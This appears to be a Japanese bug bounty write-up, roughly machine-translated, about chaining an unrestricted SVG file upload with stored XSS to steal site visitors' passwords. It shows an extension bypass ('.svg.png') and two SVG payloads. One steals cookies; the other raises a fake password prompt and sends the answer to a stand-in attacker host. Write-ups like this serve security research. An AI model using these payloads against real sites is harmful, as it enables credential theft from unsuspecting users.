Hello there, ('ω')ノ
Stored XSS Vulnerabilityへのファイルアップロード機能を悪用して。
Webサイトのビジターの資格情報を盗んだ後、$1000の報奨金を受け取った方法を。
脆弱性:
無制限のファイルアップロード
保存されたXSS
記事:
今日は、保存されたXSSでファイルがアップロードされるURLを。
与えられた被害者の資格情報の盗難につながて。
昨今、バグハンターは、XSS、SQLIなどの技術的な脆弱性よりも。
ビジネスロジックの脆弱性を見つけることに重点を置いていると思っていて。
これは、Webアプリケーションのセキュリティが向上しているためで。
ただ、ファイルのアップロードなどの技術的脆弱性を見つけることもまだできて。
1.提供された資格情報を使用してWebアプリケーションにログインして。
2.手動で列挙して。
3.アプリケーションには非常に多くのWebフォームがあって。
4.このフォームにはさまざまなテキストフィールドがあって。
フォームを手動でファジングして。
sqli、xss、sstiなどの脆弱性を見つけようとしたもののうまくいかず。
ロゴ、背景画像、広告画像が私の注意を引いたので。
悪意のある細工されたファイルをアップロードして。
何が起こるかを確認することに。
5.このファイルをアップロードすると、エラーが発生したので。
画像ファイルの形式はgif、png、jpgまたはjpegである必要があるようで。
6.ファイル名を「fileupload.svg」から「Fileupload.svg.png」に変更すると。
正常にアップロードされて。
7.[Next]をクリックすると。
これらのファイルにアクセスできるエンドポイントにリダイレクトされるようで。
8.[View Image]をクリックするとペイロードが実行されたので。
下記のアップロードしたSvgペイロードファイルを。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type=”text/javascript”>
alert(document.cookie);
</script>
</svg>
下記のように変更して、クレデンシャルを盗むことに。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>
var passwd = prompt("Enter your password to continue");
var xhr = new XMLHttpRequest();
xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
xhr.send();
</script>
</svg>
9.この変更したペイロードファイルを3か所に再度アップロードして。
10.アップロード後に下記にアクセスして。
11.緑色のsvg画像を表示すると、パスワード入力のペイロードが実行されて。
下記のようにパスワードが取得できて。
Best regards, (^^ゞ